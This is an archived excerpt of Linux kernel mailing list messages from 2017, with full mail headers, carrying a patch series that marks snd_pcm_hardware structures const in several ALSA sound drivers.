         97jXH52jhyJy+WCIDsP9ebYuw8Olj2DTnoEgkWUnETfVGsq8wBi4PaHqzuSAqyd2e8s8
         EfIRPl5e2o9J8wED/O7Y3yOG8pClmjSYf8WEKpLBRgVCeLT9UwAOde8ptPSJsYh9ppUc
         W5BA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=pwlFUoxtPArdIR9ydkLBii6UbEtpu4qmBrPvBuFoLqk=;
        b=eptBPcyPIGo0SZgiWvTa6biFVNxU1Z+hjZ1fizU+VNpyz14XdEml1rQNsuCZYJ9G7r
         QDRezkIupxKu+LvsXMbupuX0xE8aFVH+VbNl2CtUeuwGrcCRiyR8nNyzG0U3u2Zyj6bf
         WabTUZT8yq/uh56dF5lasmfjm/Mq6Rf8yXpXIq5z8O/NYPEQ2Slj+GqLglrcR5F+M2Rq
         P6Q1sgpHjZ9Dlrl3AE6fRA1w2BKJRR0m4VMvjCltvnN9Yh5DX4L4xD1DwELRsnxuaIWj
         QtfhCCjkui9tkVnQUQe5TtdQdBXJEKoE2js1hLx9IKIyO0nuRW26AjXDSwOczhRsc4zV
         WwSw==
X-Gm-Message-State: AHYfb5itoy47Peyc3WcJ7+HOvTCi1lZyNKBspwy5BSVPCDFo4vjN5Kt+
        54KM3dTFqTaV3w==
X-Received: by 10.99.117.90 with SMTP id f26mr18855794pgn.441.1502551933812;
        Sat, 12 Aug 2017 08:32:13 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id z66sm7156553pfi.137.2017.08.12.08.32.08
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:32:13 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:02:05 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547308 gmane.linux.ports.parisc:27651 gmane.linux.alsa.devel:170537
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547308>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/korg1212/korg1212.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/korg1212/korg1212.c b/sound/pci/korg1212/korg1212.c
index b28fe49..04cd71c 100644
--- a/sound/pci/korg1212/korg1212.c
+++ b/sound/pci/korg1212/korg1212.c
@@ -1231,7 +1231,7 @@ static int snd_korg1212_downloadDSPCode(struct snd_korg1212 *korg1212)
         return 0;
 }
 
-static struct snd_pcm_hardware snd_korg1212_playback_info =
+static const struct snd_pcm_hardware snd_korg1212_playback_info =
 {
 	.info =              (SNDRV_PCM_INFO_MMAP |
                               SNDRV_PCM_INFO_MMAP_VALID |
@@ -1252,7 +1252,7 @@ static int snd_korg1212_downloadDSPCode(struct snd_korg1212 *korg1212)
         .fifo_size =          0,
 };
 
-static struct snd_pcm_hardware snd_korg1212_capture_info =
+static const struct snd_pcm_hardware snd_korg1212_capture_info =
 {
         .info =              (SNDRV_PCM_INFO_MMAP |
                               SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 05/16] ALSA: cs5535audio: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:17 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502551888-30325-6-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551951 6449 195.159.176.226 (12 Aug 2017 15:32:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:32:31 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:32:27 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYOi-0000bZ-Nf
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:32:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752241AbdHLPcZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:32:25 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:33783 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752197AbdHLPcW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:32:22 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id c65so6024924pfl.0;
        Sat, 12 Aug 2017 08:32:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=uoRcQFlisoblBXTarEBy1VenWk2HRZNG+0tBW+6PFAU=;
        b=ScQfqu7+qAajHuAG08wdPsKMii9mMhaVAt+Z3xnSO6xSfrCjY+PiYEwDmW7lKV/VKA
         qfqfh81ucWhM13cTKXho+ueNR5+nj4Dmft+qBrHJHVBEZAx/pc9azA0t/DEZmWKRifRh
         1xQVhFAuwWlkGmD92q4cE/hwBRJDXf8tv0RGXcNIIhLCvaAdkXZgX4Wymk0V8mgFGM1z
         0yZI70fEO2SUmQbYWWuLRi/sUQov+6F4SYwbsCuojHZBf6YZmghM/xGf+8sySc/3QbX4
         kVk3ahLjROSYdjBkI/3Smjr+ouARItHImfmYz4oy0kgrsnyEKLegDIzHsBvXi8/vEEOS
         k98A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=uoRcQFlisoblBXTarEBy1VenWk2HRZNG+0tBW+6PFAU=;
        b=cvAcDM0ZVWE6T9aXX5nt8XRITynknYFbRskh4zWR1DSkjbwMmjzNpzWL/gJdq7oI03
         XG6rbdMwiT9b32bl9/ImsYxp2TuSkXPzCEXUZFz62fwySbaa2PEn4d69bUlflvKHNeJe
         CHsCTn4anJJPOdCYMsZyruv+y6RCMHXE5wVk77WH8qgq9jk39GcTi0BbYJGYRy3JTS50
         v82GI/3VXl3HGuMfqShWNu+YukTuy85DBDYSApt60boVLeoi3fpO58M+yxU7kbjYMPGS
         jDuTmsMeuc7IdsM/Tfdgd1lS3EZ4E3pzwUSE+bgAfTd680TQfw/xDnGPqCGRyvgSR2v0
         Tscw==
X-Gm-Message-State: AHYfb5iK/n2bH6mGq4RrCqA2fWNZqqN3IIMQ22sJld6lullAncpzrPb/
        9j1dUzimwHB67w==
X-Received: by 10.84.133.162 with SMTP id f31mr21490647plf.242.1502551942181;
        Sat, 12 Aug 2017 08:32:22 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id b77sm7512098pfe.54.2017.08.12.08.32.16
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:32:21 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:02:13 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547309 gmane.linux.ports.parisc:27652 gmane.linux.alsa.devel:170538
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547309>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/cs5535audio/cs5535audio_pcm.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/cs5535audio/cs5535audio_pcm.c b/sound/pci/cs5535audio/cs5535audio_pcm.c
index c208c1d..ee7065f 100644
--- a/sound/pci/cs5535audio/cs5535audio_pcm.c
+++ b/sound/pci/cs5535audio/cs5535audio_pcm.c
@@ -33,7 +33,7 @@
 #include <sound/ac97_codec.h>
 #include "cs5535audio.h"
 
-static struct snd_pcm_hardware snd_cs5535audio_playback =
+static const struct snd_pcm_hardware snd_cs5535audio_playback =
 {
 	.info =			(
 				SNDRV_PCM_INFO_MMAP |
@@ -62,7 +62,7 @@
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_cs5535audio_capture =
+static const struct snd_pcm_hardware snd_cs5535audio_capture =
 {
 	.info =			(
 				SNDRV_PCM_INFO_MMAP |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel
Subject: [PATCH 06/16] ALSA: emu10k1: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:18 +0530
Lines: 111
Approved: news@gmane.org
Message-ID: <1502551888-30325-7-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551958 7860 195.159.176.226 (12 Aug 2017 15:32:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:32:38 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 12 17:32:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dgYOo-0001M9-8t
	for glpp-linux-parisc@m.gmane.org; Sat, 12 Aug 2017 17:32:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752253AbdHLPcc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 12 Aug 2017 11:32:32 -0400
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:36813 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752245AbdHLPca (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 12 Aug 2017 11:32:30 -0400
Original-Received: by mail-pf0-f195.google.com with SMTP id t83so6013775pfj.3;
        Sat, 12 Aug 2017 08:32:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=pfJC2Y4xAuGwJoEpjVgN8IQEUn0fiAAI27fIjzE9Zd8=;
        b=jG4xO4P5WlHn9LgCJJgTltzLzCXA9sWQ0Yb/XvorKnezLbWGS8x+3GcGpmrjsageag
         uz8HXs+4OSUNSNXdHN8BcRZZ6kCljiFQAQnkb/L1dlL3PI7kS+8LlhtKwWhkoVnCfXJU
         2eoVXhGS4fh7kv4onmrwxD2xyme6X216AzWR+lNr05I52+Mj1reu/ammZNTopQERIJXq
         bFYRAqrn8AZa8B1SaJJ0uhYpMLtwfyrEQYefTApvCaX48f48ZCdNQePBykqIaZCkuunZ
         FfvYUuOCcJy+/n4v7UMqaiwZ1vGPRMTedMwnRcfJ45tDb2FdPG6/t466dO6luaxo3vTY
         od3g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=pfJC2Y4xAuGwJoEpjVgN8IQEUn0fiAAI27fIjzE9Zd8=;
        b=AJ4tdoS4bPPEssarnIjggBrNHkWYBvFytJtMcCdhkbQ1vWrTl+Awyhte+dQf+rCl0w
         FUyGFoDhcPECKRK54lqehXPeOQ063FjQmELVhy3XSVmNjKcsTb6vaUJMSRM/5MaJYUhs
         cICIEXtYqHjKL2RrvShFqas2lajZxg+U5Jou0YORKpY+F+Dtq/hYbqoegV1173ZryoCa
         Y0CPq1nmYEckFbD1upUQyCnDyse29DEKRwSjE8ESTNEcqdvPBmeFNnKhJpByU+o45X4T
         eVW6pUPUlqX5gIe+DHnwruXGTNxKY6BMUcyQDRIzkxTyBm12ufEboI+fJ8WBtpnkwUU8
         Abwg==
X-Gm-Message-State: AHYfb5h82T9QiGVIb5ubdGMddT8hzQMUERwiFkpdguz4yBnx68a2J9DB
        roLvShgsHrCW2Q==
X-Received: by 10.99.53.12 with SMTP id c12mr18353155pga.15.1502551949970;
        Sat, 12 Aug 2017 08:32:29 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id b4sm6406666pfg.132.2017.08.12.08.32.25
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:32:29 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:02:22 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27653 gmane.linux.alsa.devel:170539 gmane.linux.kernel:2547310
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27653>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/emu10k1/emu10k1x.c |  4 ++--
 sound/pci/emu10k1/emupcm.c   | 10 +++++-----
 sound/pci/emu10k1/p16v.c     |  4 ++--
 3 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/sound/pci/emu10k1/emu10k1x.c b/sound/pci/emu10k1/emu10k1x.c
index 77a4413..2c2b12a 100644
--- a/sound/pci/emu10k1/emu10k1x.c
+++ b/sound/pci/emu10k1/emu10k1x.c
@@ -254,7 +254,7 @@ struct emu10k1x {
 };
 
 /* hardware definition */
-static struct snd_pcm_hardware snd_emu10k1x_playback_hw = {
+static const struct snd_pcm_hardware snd_emu10k1x_playback_hw = {
 	.info =			(SNDRV_PCM_INFO_MMAP | 
 				 SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -273,7 +273,7 @@ struct emu10k1x {
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_emu10k1x_capture_hw = {
+static const struct snd_pcm_hardware snd_emu10k1x_capture_hw = {
 	.info =			(SNDRV_PCM_INFO_MMAP | 
 				 SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
diff --git a/sound/pci/emu10k1/emupcm.c b/sound/pci/emu10k1/emupcm.c
index 5c9054a..2683b97 100644
--- a/sound/pci/emu10k1/emupcm.c
+++ b/sound/pci/emu10k1/emupcm.c
@@ -556,7 +556,7 @@ static int snd_emu10k1_efx_playback_prepare(struct snd_pcm_substream *substream)
 	return 0;
 }
 
-static struct snd_pcm_hardware snd_emu10k1_efx_playback =
+static const struct snd_pcm_hardware snd_emu10k1_efx_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_NONINTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -975,7 +975,7 @@ static snd_pcm_uframes_t snd_emu10k1_capture_pointer(struct snd_pcm_substream *s
  *  Playback support device description
  */
 
-static struct snd_pcm_hardware snd_emu10k1_playback =
+static const struct snd_pcm_hardware snd_emu10k1_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -999,7 +999,7 @@ static snd_pcm_uframes_t snd_emu10k1_capture_pointer(struct snd_pcm_substream *s
  *  Capture support device description
  */
 
-static struct snd_pcm_hardware snd_emu10k1_capture =
+static const struct snd_pcm_hardware snd_emu10k1_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -1019,7 +1019,7 @@ static snd_pcm_uframes_t snd_emu10k1_capture_pointer(struct snd_pcm_substream *s
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_emu10k1_capture_efx =
+static const struct snd_pcm_hardware snd_emu10k1_capture_efx =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -1742,7 +1742,7 @@ static snd_pcm_uframes_t snd_emu10k1_fx8010_playback_pointer(struct snd_pcm_subs
 	return snd_pcm_indirect_playback_pointer(substream, &pcm->pcm_rec, ptr);
 }
 
-static struct snd_pcm_hardware snd_emu10k1_fx8010_playback =
+static const struct snd_pcm_hardware snd_emu10k1_fx8010_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_RESUME |
diff --git a/sound/pci/emu10k1/p16v.c b/sound/pci/emu10k1/p16v.c
index c11f1a2..a30da78 100644
--- a/sound/pci/emu10k1/p16v.c
+++ b/sound/pci/emu10k1/p16v.c
@@ -122,7 +122,7 @@
  */
 
  /* hardware definition */
-static struct snd_pcm_hardware snd_p16v_playback_hw = {
+static const struct snd_pcm_hardware snd_p16v_playback_hw = {
 	.info =			SNDRV_PCM_INFO_MMAP | 
 				SNDRV_PCM_INFO_INTERLEAVED |
 				SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -143,7 +143,7 @@
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_p16v_capture_hw = {
+static const struct snd_pcm_hardware snd_p16v_capture_hw = {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 07/16] ALSA: lola: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:19 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <1502551888-30325-8-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551967 9547 195.159.176.226 (12 Aug 2017 15:32:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:32:47 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:32:42 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYOx-0001UR-Qw
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:32:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752331AbdHLPck (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:32:40 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:32989 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752293AbdHLPci (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:32:38 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id u185so5371956pgb.0;
        Sat, 12 Aug 2017 08:32:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=m+yOqJWzL5/ahZE7UMu2dAQRa0tW4r5cYYE/kDCZy5U=;
        b=vdIEMKSimxg61azrfdFLJ93Pm5Fep5+3cqB6Y2Udk07WxazH5l1TALkebf8iUkMIPA
         5wL+ft1+5FTKMI2OE7QWOtfwFrXeYLa0bcVel+rLweaJSKAp0X7utsiiwFkpFPyJmzIT
         4QHTsup/BxHXMjCd14dYlmeZO8YaepKV7CfT7uo0AhtO5T+HUirhouGLYjLCMdvec67o
         k92PsVK4m8LYiCHU6JLQrNRe1hXmaO779xhDenygbaCLq/gWDsCUYZzo2cfQvXUnw4oo
         NtXZtLU2coI033O3Txlj8Di7+6mPjcYRB089/kDqwskmFEb6NmP4WbNErUmXmoUWf6bx
         kSeg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=m+yOqJWzL5/ahZE7UMu2dAQRa0tW4r5cYYE/kDCZy5U=;
        b=jv9S8U2O4sDJsxNQe0xa9gpkRyIVBh4T+v5htxLLx89F/KJYGVFeB05rDZ+s/apbSB
         CpRZRafRwNoeI9Zk7evqXQjlI19HH3Pt2ccGk3aUhnpVW0P1r/X8W9BM7DdeWGKetdjM
         zI+TWEjG3P0n+NP3CqeCIwDVMcK3JAAXvqfC0vf8JfmFD1+2OD3ro3PeB+AoiValCqI9
         rAAs0+0ebOD7QJ+ouK7Hd1y+Ci9WIMdl8kLAOtStkTyM6rFYbc+Fcn7XmrpzsROw5+j7
         KlVsITBGC7rZ2dVnbit+HBGBRNZYmvEts9ZTVz6i80KtZqweIYmb8w85BrqHj7ZRt0Y8
         RrdQ==
X-Gm-Message-State: AHYfb5jH/e1AMoK15e+ZY6Bp4SIigYj7WULfVmSPHx9qm5uQoYJgk4FV
        PE7CoxVXuMksbw==
X-Received: by 10.98.58.210 with SMTP id v79mr19907851pfj.162.1502551957736;
        Sat, 12 Aug 2017 08:32:37 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id b77sm7512898pfe.54.2017.08.12.08.32.33
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:32:37 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:02:30 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547311 gmane.linux.ports.parisc:27654 gmane.linux.alsa.devel:170540
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547311>

Make this const as it is only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/lola/lola_pcm.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/pci/lola/lola_pcm.c b/sound/pci/lola/lola_pcm.c
index 1268ba3..310b26a 100644
--- a/sound/pci/lola/lola_pcm.c
+++ b/sound/pci/lola/lola_pcm.c
@@ -197,7 +197,7 @@ static void lola_stream_reset(struct lola *chip, struct lola_stream *str)
 	}
 }
 
-static struct snd_pcm_hardware lola_pcm_hw = {
+static const struct snd_pcm_hardware lola_pcm_hw = {
 	.info =			(SNDRV_PCM_INFO_MMAP |
 				 SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_BLOCK_TRANSFER |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 08/16] ALSA: lx6464es: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:20 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <1502551888-30325-9-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551971 10486 195.159.176.226 (12 Aug 2017 15:32:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:32:51 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:32:46 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYP6-0002K6-9t
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:32:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752373AbdHLPct (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:32:49 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:36698 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752336AbdHLPcq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:32:46 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id y129so5359439pgy.3;
        Sat, 12 Aug 2017 08:32:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=9zdAxaCchBaRuHPAxZTLTDeD412X5SAPJzxZ5DqfcTU=;
        b=SudsI/vEbbgQgvhp81+RNV2KhkQ5/YbfgI1IoqildoF52GG3w4ST1iKoZ0nKVGG+oK
         KvcqHWT75mzOJ66c+Pumg8T6GGIB6Y74NTDzkcyUBG6I1VMUTlqc0B89zvaVjCFyYCvD
         DAGIyosEm4K9f54d+9eaxJFD3iGjoZFJxPfPn4gwG1liSnpHuZljdiiS3qERDtT+GegK
         ikBE9YM1uHGEaULHKGrp4VeqyE8p8pzfjf79WsiF9Nrhoc+BkqGxfJpu7BgXmU/qfeq6
         9JifYEph/Uv5YhmTApWXWI/nFvlzQ5YHtjoEFJSnxkl4OoNQNCfnCEfcPfXAHh+UJTbQ
         PpCg==
